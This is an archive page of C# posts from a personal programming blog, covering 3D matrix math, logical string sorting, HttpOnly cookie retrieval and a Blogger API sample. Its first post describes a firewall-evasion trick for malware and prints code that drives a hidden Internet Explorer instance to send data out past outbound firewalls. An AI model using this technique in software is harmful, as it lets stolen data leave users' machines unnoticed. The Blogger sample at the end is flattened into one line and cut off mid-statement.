Showing posts with label C#. Show all posts
Showing posts with label C#. Show all posts

Friday, September 24, 2010

C#: How to bypass firewall

Firewalls like ZoneAlarm are supposed to be able to block outgoing connections of unknown programs. So for example, if I was careless and installed a malware, then at least it won't be able to send my passwords list to someone over the internet.
Couple of years ago I tried to think about how to bypass that, and after a while I came up with this simple trick that works regardless of the firewall software, i.e. it does not alter the firewall.
Many users use Internet Explorer, so usually it has access through the firewall by default. It only remains to take control over it from C#, and that's exactly what I did using this magical API function: ObjectFromLresult. It might be funny to see a trojan horse written entirely using GET requests, but on the other hand it scares me a little bit because for example ZoneAlarm and AVG couldn't detect it.
I wrote a small C# application to prove my point. You can download it from here:
http://www.megaupload.com/?d=9W17LLP4
It has 2 buttons: the first button attempts to make a normal HttpWebRequest, and tells you whether it succeeded or failed. If it failed, then probably your firewall is blocking the application. In that case you may want to try the second button.
This is the code that creates a new Internet Explorer instance and gets the DOM object from it:
(I found it on the internet)

Code:
[DllImport("user32.dll", EntryPoint = "GetClassNameA")]
public static extern int GetClassName(IntPtr hwnd, StringBuilder lpClassName, int nMaxCount);
public delegate int EnumProc(IntPtr hWnd, ref IntPtr lParam);
[DllImport("user32.dll")]
public static extern int EnumChildWindows(IntPtr hWndParent, EnumProc lpEnumFunc, ref  IntPtr lParam);
[DllImport("user32.dll", EntryPoint = "RegisterWindowMessageA")]
public static extern int RegisterWindowMessage(string lpString);
[DllImport("user32.dll", EntryPoint = "SendMessageTimeoutA")]
public static extern int SendMessageTimeout(IntPtr hwnd, int msg, int wParam, int lParam, int fuFlags, int uTimeout, out int lpdwResult);
[DllImport("OLEACC.dll")]
public static extern int ObjectFromLresult(int lResult, ref Guid riid, int wParam, ref IHTMLDocument2 ppvObject);
public const int SMTO_ABORTIFHUNG = 0x2;
public Guid IID_IHTMLDocument = typeof(mshtml.IHTMLDocument).GUID;

public Process process = null;
public IHTMLDocument2 document;

public IHTMLDocument2 documentFromDOM(string url)
{
    process = new Process();
    process.StartInfo.FileName = "iexplore.exe";
    process.StartInfo.WindowStyle = ProcessWindowStyle.Minimized;
    process.StartInfo.Arguments = url;
    process.Start();
    IntPtr hWnd = IntPtr.Zero;
    do
    {
        Thread.Sleep(3000);
    } while ((hWnd = process.MainWindowHandle) == IntPtr.Zero);
    int lngMsg = 0;
    int lRes;
    IntPtr document_hWnd;
    EnumProc proc = new EnumProc(EnumWindows);
    EnumChildWindows(hWnd, proc, ref hWnd);
    if (!hWnd.Equals(IntPtr.Zero))
    {
        lngMsg = RegisterWindowMessage("WM_HTML_GETOBJECT");
        if (lngMsg != 0)
        {
            SendMessageTimeout(hWnd, lngMsg, 0, 0, SMTO_ABORTIFHUNG, 1000, out lRes);
            if (!(bool)(lRes == 0))
            {
                document_hWnd = hWnd;
                int hr = ObjectFromLresult(lRes, ref IID_IHTMLDocument, 0, ref document);
                if (document == null)
                {
                    MessageBox.Show("No IHTMLDocument Found!");
                }
            }
        }
    }
    return document;
}

public int EnumWindows(IntPtr hWnd, ref IntPtr lParam)
{
    int retVal = 1;
    StringBuilder classname = new StringBuilder(128);
    GetClassName(hWnd, classname, classname.Capacity);
    if (classname.ToString() == "Internet Explorer_Server")
    {
        lParam = hWnd;
        retVal = 0;
    }
    return retVal;
}

Notes:
The user can see the Internet Explorer at the taskbar, and the Thread.Sleep is weird, but both can be fixed sometime.

Saturday, August 28, 2010

C#: Camera Matrix

I always wanted to know how a 3D engine works. I've used DirectX several times before, but I never quite understood what's going on behind the scene.
So, I decided to write a small naive 3D engine of my own, just to understand how it works.
I studied about the subject, and wrote this engine, which is basically a camera matrix: (no textures or anything)
http://www.megaupload.com/?d=6YON627Z
The only external graphics function I used is the Graphics.DrawLine() function.


What is a Camera Matrix anyway?
It's something that can be used to display 3D objects on our 2D screen.
Think about a real camera like in a 2D movie (not Avatar) - you place it somewhere in the room (translation), it looks towards the scene (rotation), it can zoom in and out (scaling), and it converts the 3D scene to 2D (projection).
From now on we say "translation" instead of "position". Mathematicians are to blame for that.

It's easy to do operations on vectors, why complicate things with Matrices?
One of the main reasons is that matrices can be easily concatenated.
From DirectX MSDN:
One advantage of using matrices is that you can combine the effects of two or more matrices by multiplying them. This means that, to rotate a model and then translate it to some location, you do not need to apply two matrices. Instead, you multiply the rotation and translation matrices to produce a composite matrix that contains all of their effects.
Let me put it this way:
"Using" a 4x4 matrix requires 16 multiplications and 9 additions.
So rotating, which is "using" a rotation matrix, requires 16 multiplications and 9 additions.
And scaling also requires 16 multiplications and 9 additions.
If we do rotating and then scaling it would take 32 multiplications and 18 additions. Translation would takes us up to 48 multiplications and 27 additions, and so on...
BUT, if we concatenate the rotation and scaling matrices, we will get a third matrix that does both operations in half the time (16 multiplications and 9 additions).
In fact, we could concatenate any number of matrices, so the resulting matrix will do all the operations we want in only 16 multiplications and 9 additions.
You might have noticed that we still need to do the concatenation operation which takes a long time, but it's worth it when you design a 3D game with thousands and thousands of objects to scale rotate translate etc. but only a few matrices to concatenate.

Why a Camera Matrix is not 3x3?
In short, because then we can't use it for translation (moving the vectors).
For more details read this fantastic article:
http://www.geometer.org/mathcircles/cghomogen.pdf

C#: Matrix and Vector Representation

In C# there are built in representations of 2D points and 2x2 matrices.
This is good enough for image processing, but I needed more than that for 3D graphics.

I wrote classes for:
  • 3D vector
  • 3x3 matrix
  • 4x4 matrix
  • Any size matrix
All the first three objects can be represented by "Any size matrix", but it is much more efficient to use the specific class you need.

Code:
class Vector3
{
    public static Vector3 Zero = NewZero();
    public static Vector3 One = NewOne();

    public float x;
    public float y;
    public float z;

    public Vector3()
    {
        x = 0.0f;
        y = 0.0f;
        z = 0.0f;
    }

    public Vector3(float x, float y, float z)
    {
        this.x = x;
        this.y = y;
        this.z = z;
    }

    public Vector3(float xyz)
    {
        this.x = xyz;
        this.y = xyz;
        this.z = xyz;
    }

    public Vector3(Vector3 v)
    {
        this.x = v.x;
        this.y = v.y;
        this.z = v.z;
    }

    public static Vector3 NewZero()
    {
        return new Vector3(0.0f);
    }

    public static Vector3 NewOne()
    {
        return new Vector3(1.0f);
    }

    public float DotProduct(Vector3 other)
    {
        return x * other.x + y * other.y + z * other.z;
    }

    public static Vector3 operator +(Vector3 v1, Vector3 v2)
    {
        return new Vector3(v1.x + v2.x, v1.y + v2.y, v1.z + v2.z);
    }

    public static Vector3 operator -(Vector3 v1, Vector3 v2)
    {
        return new Vector3(v1.x - v2.x, v1.y - v2.y, v1.z - v2.z);
    }

    public static Vector3 operator -(Vector3 v)
    {
        return new Vector3(-v.x, -v.y, -v.z);
    }

    public static Vector3 operator *(Vector3 v, float scalar)
    {
        return new Vector3(v.x * scalar, v.y * scalar, v.z * scalar);
    }

    public static Vector3 operator /(Vector3 v, float scalar)
    {
        return new Vector3(v.x / scalar, v.y / scalar, v.z / scalar);
    }

    public static bool operator ==(Vector3 v1, Vector3 v2)
    {
        return v1.x == v2.x && v1.y == v2.y && v1.z == v2.z;
    }

    public static bool operator !=(Vector3 v1, Vector3 v2)
    {
        return v1.x != v2.x || v1.y != v2.y || v1.z != v2.z;
    }

    public static Vector3 CrossProduct(Vector3 a, Vector3 b)
    {
        return new Vector3(a.y * b.z - a.z * b.y, a.z * b.x - a.x * b.z, a.x * b.y - a.y * b.x);
    }

    public Vector3 Add(Vector3 v)
    {
        x += v.x;
        y += v.y;
        z += v.z;
        return this;
    }

    public float DistanceTo(Vector3 v)
    {
        float dx = this.x - v.x;
        float dy = this.y - v.y;
        float dz = this.z - v.z;
        return (float)Math.Sqrt(dx * dx + dy * dy + dz * dz);
    }

    public float Size()
    {
        return DistanceTo(Vector3.Zero);
    }

    public Vector3 Normalize()
    {
        float size = Size();
        this.x /= size;
        this.y /= size;
        this.z /= size;
        return this;
    }

    public Vector3 Clone()
    {
        return new Vector3(this);
    }

    public override string ToString()
    {
        return "(" + x + ", " + y + ", " + z + ")";
    }
}

class Matrix
{
    public float[,] matrix;
    public int rows;
    public int cols;

    public Matrix(int rows, int cols)
    {
        this.matrix = new float[rows, cols];
        this.rows = rows;
        this.cols = cols;
    }

    public Matrix(float[,] matrix)
    {
        this.matrix = matrix;
        this.rows = matrix.GetLength(0);
        this.cols = matrix.GetLength(1);
    }

    protected static float[,] Multiply(Matrix matrix, float scalar)
    {
        int rows = matrix.rows;
        int cols = matrix.cols;
        float[,] m1 = matrix.matrix;
        float[,] m2 = new float[rows, cols];
        for (int i = 0; i < rows; ++i)
        {
            for (int j = 0; j < cols; ++j)
            {
                m2[i, j] = m1[i, j] * scalar;
            }
        }
        return m2;
    }

    protected static float[,] Multiply(Matrix matrix1, Matrix matrix2)
    {
        int m1rows = matrix1.rows;
        int m1cols = matrix1.cols;
        int m2rows = matrix2.rows;
        int m2cols = matrix2.cols;
        if (m1cols != m2rows)
        {
            throw new ArgumentException();
        }
        float[,] m1 = matrix1.matrix;
        float[,] m2 = matrix2.matrix;
        float[,] m3 = new float[m1rows, m2cols];
        for (int i = 0; i < m1rows; ++i)
        {
            for (int j = 0; j < m2cols; ++j)
            {
                float sum = 0;
                for (int it = 0; it < m1cols; ++it)
                {
                    sum += m1[i, it] * m2[it, j];
                }
                m3[i, j] = sum;
            }
        }
        return m3;
    }

    public static Matrix operator *(Matrix m, float scalar)
    {
        return new Matrix(Multiply(m, scalar));
    }

    public static Matrix operator *(Matrix m1, Matrix m2)
    {
        return new Matrix(Multiply(m1, m2));
    }

    public override string ToString()
    {
        string res = "";
        for (int i = 0; i < rows; ++i)
        {
            if (i > 0)
            {
                res += "|";
            }
            for (int j = 0; j < cols; ++j)
            {
                if (j > 0)
                {
                    res += ",";
                }
                res += matrix[i, j];
            }
        }
        return "(" + res + ")";
    }
}

class Matrix3 : Matrix
{
    public Matrix3()
        : base(3, 3)
    {
    }

    public Matrix3(float[,] matrix)
        : base(matrix)
    {
        if (rows != 3 || cols != 3)
        {
            throw new ArgumentException();
        }
    }

    public static Matrix3 I()
    {
        return new Matrix3(new float[,] { 
        { 1.0f, 0.0f, 0.0f }, 
        { 0.0f, 1.0f, 0.0f }, 
        { 0.0f, 0.0f, 1.0f } });
    }

    public static Vector3 operator *(Matrix3 matrix3, Vector3 v)
    {
        float[,] m = matrix3.matrix;
        return new Vector3(
            m[0, 0] * v.x + m[0, 1] * v.y + m[0, 2] * v.z,
            m[1, 0] * v.x + m[1, 1] * v.y + m[1, 2] * v.z,
            m[2, 0] * v.x + m[2, 1] * v.y + m[2, 2] * v.z);
    }

    public static Matrix3 operator *(Matrix3 mat1, Matrix3 mat2)
    {
        float[,] m1 = mat1.matrix;
        float[,] m2 = mat2.matrix;
        float[,] m3 = new float[3, 3];
        m3[0, 0] = m1[0, 0] * m2[0, 0] + m1[0, 1] * m2[1, 0] + m1[0, 2] * m2[2, 0];
        m3[0, 1] = m1[0, 0] * m2[0, 1] + m1[0, 1] * m2[1, 1] + m1[0, 2] * m2[2, 1];
        m3[0, 2] = m1[0, 0] * m2[0, 2] + m1[0, 1] * m2[1, 2] + m1[0, 2] * m2[2, 2];
        m3[1, 0] = m1[1, 0] * m2[0, 0] + m1[1, 1] * m2[1, 0] + m1[1, 2] * m2[2, 0];
        m3[1, 1] = m1[1, 0] * m2[0, 1] + m1[1, 1] * m2[1, 1] + m1[1, 2] * m2[2, 1];
        m3[1, 2] = m1[1, 0] * m2[0, 2] + m1[1, 1] * m2[1, 2] + m1[1, 2] * m2[2, 2];
        m3[2, 0] = m1[2, 0] * m2[0, 0] + m1[2, 1] * m2[1, 0] + m1[2, 2] * m2[2, 0];
        m3[2, 1] = m1[2, 0] * m2[0, 1] + m1[2, 1] * m2[1, 1] + m1[2, 2] * m2[2, 1];
        m3[2, 2] = m1[2, 0] * m2[0, 2] + m1[2, 1] * m2[1, 2] + m1[2, 2] * m2[2, 2];
        return new Matrix3(m3);
    }

    public static Matrix3 operator *(Matrix3 m, float scalar)
    {
        return new Matrix3(Multiply(m, scalar));
    }
}

class Matrix4 : Matrix
{
    public static Matrix4 I = NewI();

    public Matrix4()
        : base(4, 4)
    {
    }

    public Matrix4(float[,] matrix)
        : base(matrix)
    {
        if (rows != 4 || cols != 4)
        {
            throw new ArgumentException();
        }
    }

    public static Matrix4 NewI()
    {
        return new Matrix4(new float[,] { 
        { 1.0f, 0.0f, 0.0f, 0.0f }, 
        { 0.0f, 1.0f, 0.0f, 0.0f }, 
        { 0.0f, 0.0f, 1.0f, 0.0f },
        { 0.0f, 0.0f, 0.0f, 1.0f } });
    }

    public static Vector3 operator *(Matrix4 matrix4, Vector3 v)
    {
        float[,] m = matrix4.matrix;
        float w = m[3, 0] * v.x + m[3, 1] * v.y + m[3, 2] * v.z + m[3, 3];
        return new Vector3(
            (m[0, 0] * v.x + m[0, 1] * v.y + m[0, 2] * v.z + m[0, 3]) / w,
            (m[1, 0] * v.x + m[1, 1] * v.y + m[1, 2] * v.z + m[1, 3]) / w,
            (m[2, 0] * v.x + m[2, 1] * v.y + m[2, 2] * v.z + m[2, 3]) / w
            );
    }

    public static Matrix4 operator *(Matrix4 mat1, Matrix4 mat2)
    {
        float[,] m1 = mat1.matrix;
        float[,] m2 = mat2.matrix;
        float[,] m3 = new float[4, 4];
        m3[0, 0] = m1[0, 0] * m2[0, 0] + m1[0, 1] * m2[1, 0] + m1[0, 2] * m2[2, 0] + m1[0, 3] * m2[3, 0];
        m3[0, 1] = m1[0, 0] * m2[0, 1] + m1[0, 1] * m2[1, 1] + m1[0, 2] * m2[2, 1] + m1[0, 3] * m2[3, 1];
        m3[0, 2] = m1[0, 0] * m2[0, 2] + m1[0, 1] * m2[1, 2] + m1[0, 2] * m2[2, 2] + m1[0, 3] * m2[3, 2];
        m3[0, 3] = m1[0, 0] * m2[0, 3] + m1[0, 1] * m2[1, 3] + m1[0, 2] * m2[2, 3] + m1[0, 3] * m2[3, 3];
        m3[1, 0] = m1[1, 0] * m2[0, 0] + m1[1, 1] * m2[1, 0] + m1[1, 2] * m2[2, 0] + m1[1, 3] * m2[3, 0];
        m3[1, 1] = m1[1, 0] * m2[0, 1] + m1[1, 1] * m2[1, 1] + m1[1, 2] * m2[2, 1] + m1[1, 3] * m2[3, 1];
        m3[1, 2] = m1[1, 0] * m2[0, 2] + m1[1, 1] * m2[1, 2] + m1[1, 2] * m2[2, 2] + m1[1, 3] * m2[3, 2];
        m3[1, 3] = m1[1, 0] * m2[0, 3] + m1[1, 1] * m2[1, 3] + m1[1, 2] * m2[2, 3] + m1[1, 3] * m2[3, 3];
        m3[2, 0] = m1[2, 0] * m2[0, 0] + m1[2, 1] * m2[1, 0] + m1[2, 2] * m2[2, 0] + m1[2, 3] * m2[3, 0];
        m3[2, 1] = m1[2, 0] * m2[0, 1] + m1[2, 1] * m2[1, 1] + m1[2, 2] * m2[2, 1] + m1[2, 3] * m2[3, 1];
        m3[2, 2] = m1[2, 0] * m2[0, 2] + m1[2, 1] * m2[1, 2] + m1[2, 2] * m2[2, 2] + m1[2, 3] * m2[3, 2];
        m3[2, 3] = m1[2, 0] * m2[0, 3] + m1[2, 1] * m2[1, 3] + m1[2, 2] * m2[2, 3] + m1[2, 3] * m2[3, 3];
        m3[3, 0] = m1[3, 0] * m2[0, 0] + m1[3, 1] * m2[1, 0] + m1[3, 2] * m2[2, 0] + m1[3, 3] * m2[3, 0];
        m3[3, 1] = m1[3, 0] * m2[0, 1] + m1[3, 1] * m2[1, 1] + m1[3, 2] * m2[2, 1] + m1[3, 3] * m2[3, 1];
        m3[3, 2] = m1[3, 0] * m2[0, 2] + m1[3, 1] * m2[1, 2] + m1[3, 2] * m2[2, 2] + m1[3, 3] * m2[3, 2];
        m3[3, 3] = m1[3, 0] * m2[0, 3] + m1[3, 1] * m2[1, 3] + m1[3, 2] * m2[2, 3] + m1[3, 3] * m2[3, 3];
        return new Matrix4(m3);
    }

    public static Matrix4 operator *(Matrix4 m, float scalar)
    {
        return new Matrix4(Multiply(m, scalar));
    }
}

C#: Rotation Matrix

Rotation matrices are used in 3D graphics to rotate vectors.
I use homogeneous coordinates, so the matrices are 4x4. If you want 3x3, just remove the last column and last row.
I wrote several functions:
  • Rotation around X axis
  • Rotation around Y axis
  • Rotation around Z axis
  • Rotation around all axes
  • Rotation around any given axis
  • Rotation from normal vector to normal vector
Apparently the 5th function is enough, because for example "Rotation around X axis" can be replace by rotation around (1,0,0), and "Rotation around all axes" is merely the product of 3 matrices. BUT, one should use the specific function he or she needs, because it is more efficient.
For matrix operations you can use this post.

Code:
public static Matrix4 GetRotationMatrixX(double angle)
{
    if (angle == 0.0)
    {
        return Matrix4.I;
    }
    float sin = (float)Math.Sin(angle);
    float cos = (float)Math.Cos(angle);
    return new Matrix4(new float[4, 4] {
        { 1.0f, 0.0f, 0.0f, 0.0f }, 
        { 0.0f, cos, -sin, 0.0f }, 
        { 0.0f, sin, cos, 0.0f }, 
        { 0.0f, 0.0f, 0.0f, 1.0f } });
}

public static Matrix4 GetRotationMatrixY(double angle)
{
    if (angle == 0.0)
    {
        return Matrix4.I;
    }
    float sin = (float)Math.Sin(angle);
    float cos = (float)Math.Cos(angle);
    return new Matrix4(new float[4, 4] {
        { cos, 0.0f, sin, 0.0f }, 
        { 0.0f, 1.0f, 0.0f, 0.0f }, 
        { -sin, 0.0f, cos, 0.0f }, 
        { 0.0f, 0.0f, 0.0f, 1.0f } });
}

public static Matrix4 GetRotationMatrixZ(double angle)
{
    if (angle == 0.0)
    {
        return Matrix4.I;
    }
    float sin = (float)Math.Sin(angle);
    float cos = (float)Math.Cos(angle);
    return new Matrix4(new float[4, 4] {
        { cos, -sin, 0.0f, 0.0f }, 
        { sin, cos, 0.0f, 0.0f }, 
        { 0.0f, 0.0f, 1.0f, 0.0f }, 
        { 0.0f, 0.0f, 0.0f, 1.0f } });
}

public static Matrix4 GetRotationMatrix(double ax, double ay, double az)
{
    Matrix4 my = null;
    Matrix4 mz = null;
    Matrix4 result = null;
    if (ax != 0.0)
    {
        result = GetRotationMatrixX(ax);
    }
    if (ay != 0.0)
    {
        my = GetRotationMatrixY(ay);
    }
    if (az != 0.0)
    {
        mz = GetRotationMatrixZ(az);
    }
    if (my != null)
    {
        if (result != null)
        {
            result *= my;
        }
        else
        {
            result = my;
        }
    }
    if (mz != null)
    {
        if (result != null)
        {
            result *= mz;
        }
        else
        {
            result = mz;
        }
    }
    if (result != null)
    {
        return result;
    }
    else
    {
        return Matrix4.I;
    }
}

public static Matrix4 GetRotationMatrix(Vector3 axis, double angle)
{
    if (angle == 0.0)
    {
        return Matrix4.I;
    }

    float x = axis.x;
    float y = axis.y;
    float z = axis.z;
    float sin = (float)Math.Sin(angle);
    float cos = (float)Math.Cos(angle);
    float xx = x * x;
    float yy = y * y;
    float zz = z * z;
    float xy = x * y;
    float xz = x * z;
    float yz = y * z;

    float[,] matrix = new float[4, 4];

    matrix[0, 0] = xx + (1 - xx) * cos;
    matrix[1, 0] = xy * (1 - cos) + z * sin;
    matrix[2, 0] = xz * (1 - cos) - y * sin;
    matrix[3, 0] = 0.0f;

    matrix[0, 1] = xy * (1 - cos) - z * sin;
    matrix[1, 1] = yy + (1 - yy) * cos;
    matrix[2, 1] = yz * (1 - cos) + x * sin;
    matrix[3, 1] = 0.0f;

    matrix[0, 2] = xz * (1 - cos) + y * sin;
    matrix[1, 2] = yz * (1 - cos) - x * sin;
    matrix[2, 2] = zz + (1 - zz) * cos;
    matrix[3, 2] = 0.0f;

    matrix[3, 0] = 0.0f;
    matrix[3, 1] = 0.0f;
    matrix[3, 2] = 0.0f;
    matrix[3, 3] = 1.0f;

    return new Matrix4(matrix);
}

/// <param name="source">Should be normalized</param>
/// <param name="destination">Should be normalized</param>
public static Matrix4 GetRotationMatrix(Vector3 source, Vector3 destination)
{
    Vector3 rotaxis = Vector3.CrossProduct(source, destination);
    if (rotaxis != Vector3.Zero)
    {
        rotaxis.Normalize();
        float cos = source.DotProduct(destination);
        double angle = Math.Acos(cos);
        return GetRotationMatrix(rotaxis, angle);
    }
    else
    {
        return Matrix4.I;
    }
}

Tuesday, July 6, 2010

C# Sort Text and Numbers (like Explorer does)

For example:
myvideo.part2.rar
Should come before:
myvideo.part10.rar


// Usage:

list.Sort(new StringLogicalComparer());


// Comparer:

public class StringLogicalComparer : IComparer, IComparer<string>
{
    [DllImport("shlwapi.dll", CharSet = CharSet.Unicode, ExactSpelling = true)]
    public static extern int StrCmpLogicalW(string x, string y);

    public int Compare(object x, object y)
    {
        return StrCmpLogicalW(x.ToString(), y.ToString());
    }

    public int Compare(string x, string y)
    {
        return StrCmpLogicalW(x, y);
    }
}

Thursday, July 1, 2010

WebBrowser and HttpWebRequest Cookies Problem and Solution

If you are working with WebBrowser control and you want to make some WebRequest you need to synchronize the cookies.
And that would be the naive way to do it:
httpWebRequest.CookieContainer.SetCookies(
    webBrowser.Document.Url, 
    webBrowser.Document.Cookie.Replace(';', ',')
    ); // THIS CODE IS WRONG!!

The problem is the HttpOnly cookies that are missing from Document.Cookie for security reasons.
The HttpOnly cookies are probably the most important ones that you need.
This article explains how to get them:
http://www.codeproject.com/KB/shell/RetrieveHttponlyCookies.aspx

Here is a more compact version of the function for C#:
[DllImport("wininet.dll", CharSet = CharSet.Auto, SetLastError = true)]
static extern bool InternetGetCookieEx(string pchURL, string pchCookieName, StringBuilder pchCookieData, ref uint pcchCookieData, int dwFlags, IntPtr lpReserved);
const int INTERNET_COOKIE_HTTPONLY = 0x00002000;

public static string GetGlobalCookies(string uri)
{
    uint datasize = 1024;
    StringBuilder cookieData = new StringBuilder((int)datasize);
    if (InternetGetCookieEx(uri, null, cookieData, ref datasize, INTERNET_COOKIE_HTTPONLY, IntPtr.Zero)
        && cookieData.Length > 0)
    {
        return cookieData.ToString().Replace(';', ',');
    }
    else
    {
        return null;
    }
}
And the usage would be:
httpWebRequest.CookieContainer.SetCookies(
    webBrowser.Document.Url, 
    GetGlobalCookies(webBrowser.Document.Url.AbsoluteUri)
    );

Monday, June 28, 2010

Blogger C# API

Source: http://google-gdata.googlecode.com/svn/trunk/clients/cs/samples/blogger/ConsoleSample.cs

using System;
using System.Text;
using Google.GData.Client;
using System.Net;
using System.Xml;
using System.Text.RegularExpressions;

namespace BloggerDevSample
{
    class ConsoleSample
    {
        /** Lists the user's blogs. */
        static void ListUserBlogs(Service service)
        {
            Console.WriteLine("\nRetrieving a list of blogs");
            FeedQuery query = new FeedQuery();
            // Retrieving a list of blogs
            query.Uri = new Uri("http://www.blogger.com/feeds/default/blogs");
            AtomFeed feed = null;
            feed = service.Query(query);
            foreach (AtomEntry entry in feed.Entries)
            {
                Console.WriteLine("  Blog title: " + entry.Title.Text);
            }
        }

        /** Lists the user's blogs and returns the URI for posting new entries
         * to the blog which the user selected.
         */
        static Uri SelectUserBlog(Service service)
        {
            Console.WriteLine("\nPlease select a blog on which to post.");
            FeedQuery query = new FeedQuery();
            // Retrieving a list of blogs
            query.Uri = new Uri("http://www.blogger.com/feeds/default/blogs");
            AtomFeed feed = service.Query(query);

            // Publishing a blog post
            Uri blogPostUri = null;
            if (feed != null)
            {
                foreach (AtomEntry entry in feed.Entries)
                {
                    // Print out the title of the Blog
                    Console.WriteLine("  Blog name: " + entry.Title.Text);
                    Console.Write("  Post to this blog? (y/n): ");
                    if (Console.ReadLine().Equals("y"))
                    {
                        // find the href in the link with a rel pointing to the blog's feed
                        for (int i = 0; i < entry.Links.Count; i++)
                        {
                            if (entry.Links[i].Rel.Equals("http://schemas.google.com/g/2005#post"))
                            {
                                blogPostUri = new Uri(entry.Links[i].HRef.ToString());
                                Console.WriteLine("  Your new posts will be sent to " + blogPostUri.AbsoluteUri.ToString());
                            }
                        }
                        return blogPostUri;
                    }
                }
            }
            return blogPostUri;
        }

        /** Creates a new blog entry and sends it to the specified Uri */
        static AtomEntry PostNewEntry(Service service, Uri blogPostUri)
        {
            Console.WriteLine("\nPublishing a blog post");
            AtomEntry createdEntry = null;
            if (blogPostUri != null)
            {
                // construct the new entry
                AtomEntry newPost = new AtomEntry();
                newPost.Title.Text = "Marriage!";
                newPost.Content = new AtomContent();
                newPost.Content.Content = "
" + "

Mr. Darcy has proposed marriage to me!

" + "

He is the last man on earth I would ever desire to marry.

" + "

Whatever shall I do?

" + "
"; newPost.Content.Type = "xhtml"; newPost.Authors.Add(new AtomPerson()); newPost.Authors[0].Name = "Elizabeth Bennet"; newPost.Authors[0].Email = "liz@gmail.com"; createdEntry = service.Insert(blogPostUri, newPost); if (createdEntry != null) { Console.WriteLine(" New blog post created with title: " + createdEntry.Title.Text); } } return createdEntry; } /** Creates a new blog entry and sends it to the specified Uri */ static void PostAndDeleteNewDraftEntry(Service service, Uri blogPostUri) { Console.WriteLine("\nCreating a draft blog post"); AtomEntry draftEntry = null; if (blogPostUri != null) { // construct the new entry AtomEntry newPost = new AtomEntry(); newPost.Title.Text = "Marriage! (Draft)"; newPost.Content = new AtomContent(); newPost.Content.Content = "
" + "

Mr. Darcy has proposed marriage to me!

" + "

He is the last man on earth I would ever desire to marry.

" + "

Whatever shall I do?

" + "
"; newPost.Content.Type = "xhtml"; newPost.Authors.Add(new AtomPerson()); newPost.Authors[0].Name = "Elizabeth Bennet"; newPost.Authors[0].Email = "liz@gmail.com"; newPost.IsDraft = true; draftEntry = service.Insert(blogPostUri, newPost); if (draftEntry != null) { Console.WriteLine(" New draft post created with title: " + draftEntry.Title.Text); // Delete the newly created draft entry Console.WriteLine(" Press enter to delete the draft blog post"); Console.ReadLine(); draftEntry.Delete(); } } } /** Display the titles for all entries in the previously selected blog. */ static void ListBlogEntries(Service service, Uri blogUri) { if (blogUri != null) { Console.WriteLine("\nRetrieving all blog posts"); // Retrieve all posts in a blog FeedQuery query = new FeedQuery(); Console.WriteLine(" Query URI: " + blogUri.ToString()); query.Uri = blogUri; AtomFeed feed = service.Query(query); foreach (AtomEntry entry in feed.Entries) { Console.WriteLine(" Entry Title: " + entry.Title.Text); } } } /** Display title for entries in the blog in the hard coded date range. */ static void ListBlogEntriesInDateRange(Service service, Uri blogUri) { Console.WriteLine("\nRetrieving posts using query parameters"); // Retrieve all posts in a blog between Jan 1, 2006 and Apr 12, 2007 FeedQuery query = new FeedQuery(); query.Uri = blogUri; query.MinPublication = new DateTime(2006, 1, 1); query.MaxPublication = new DateTime(2007, 4, 12); AtomFeed feed = service.Query(query); foreach (AtomEntry entry in feed.Entries) { Console.WriteLine(" Entry Title: " + entry.Title.Text); } } /** Change the contents of the newly created blog entry. */ static AtomEntry EditEntry(AtomEntry toEdit) { Console.WriteLine("\nUpdating post"); // Edit the new entry if (toEdit != null) { toEdit.Title.Text = "Marriage Woes!"; Console.WriteLine(" Press enter to update"); Console.ReadLine(); toEdit = toEdit.Update(); } return toEdit; } /** Delete the specified blog entry. */ static void DeleteEntry(AtomEntry toDelete) { Console.WriteLine("\nDeleting post"); // Delete the edited entry if (toDelete != null) { Console.WriteLine(" Press enter to delete the new blog post"); Console.ReadLine(); toDelete.Delete(); } } /** Get the comments feed URI for the desired blog entry. */ static Uri SelectBlogEntry(Service service, Uri blogPostUri) { Console.WriteLine("\nPlease select a blog entry on which to comment."); FeedQuery query = new FeedQuery(); query.Uri = blogPostUri; AtomFeed feed = service.Query(query); Uri commentPostUri = null; if (feed != null) { foreach (AtomEntry entry in feed.Entries) { // Print out the title of the Blog Console.WriteLine(" Blog entry title: " + entry.Title.Text); Console.Write(" Post a comment on this entry? (y/n): "); if (Console.ReadLine().Equals("y")) { // Create the Post URL for adding a comment by finding this entry's id number. // Find the href in the link with a rel pointing to the blog's feed. for (int i = 0; i < entry.Links.Count; i++) { if (entry.Links[i].Rel == "edit") { string commentUriStart = Regex.Replace(blogPostUri.ToString(), "/posts/default", ""); string selfLink = entry.Links[i].HRef.ToString(); string entryId = Regex.Replace(selfLink, blogPostUri.ToString() + "/", ""); // Build the comment URI from the blog id in and the entry id. commentPostUri = new Uri(commentUriStart + "/" + entryId + "/comments/default"); Console.WriteLine(" Your new comments will be sent to " + commentPostUri.ToString()); return commentPostUri; } } } } } return commentPostUri; } static AtomEntry PostNewComment(Service service, Uri commentPostUri) { Console.WriteLine("\nCommenting on a blog post"); AtomEntry postedComment = null; if (commentPostUri != null) { // Add a comment. AtomEntry comment; comment = new AtomEntry(); comment.Title.Text = "This is my first comment"; comment.Content.Content = "This is my first comment"; comment.Authors.Add(new AtomPerson()); comment.Authors[0].Name = "Blog Author Name"; postedComment = service.Insert(commentPostUri, comment); Console.WriteLine(" Result's title: " + postedComment.Title.Text); } return postedComment; } static void ListEntryComments(Service service, Uri commentUri) { if (commentUri != null) { Console.WriteLine("\nRetrieving all blog post comments"); // Retrieve all comments on a blog entry FeedQuery query = new FeedQuery(); Console.WriteLine(" Query URI: " + commentUri.ToString()); query.Uri = commentUri; AtomFeed feed = service.Query(query); foreach (AtomEntry entry in feed.Entries) { Console.WriteLine(" Comment Title: " + entry.Title.Text); } } } static void DeleteComment(AtomEntry commentEntry) { Console.WriteLine("\nDeleting the comment"); if (commentEntry != null) { // Delete the comment. Console.WriteLine(" Press enter to delete the new comment post"); Console.ReadLine(); commentEntry.Delete(); } } static void Main(string[] args) { Service service = new Service("blogger", "blogger-example"); // ClientLogin using username/password authentication string username; string password; if (args.Length != 2) { Console.WriteLine("Usage: BloggerDevSample.exe <username> <password>"); return; } else { username = args[0]; password = args[1]; } service.Credentials = new GDataCredentials(username, password); ListUserBlogs(service); Uri blogPostUri = SelectUserBlog(service); AtomEntry createdEntry = PostNewEntry(service, blogPostUri); PostAndDeleteNewDraftEntry(service, blogPostUri); ListBlogEntries(service, blogPostUri); ListBlogEntriesInDateRange(service, blogPostUri); AtomEntry editedEntry = EditEntry(createdEntry); DeleteEntry(editedEntry); Uri commentPostUri = SelectBlogEntry(service, blogPostUri); AtomEntry commentEntry = 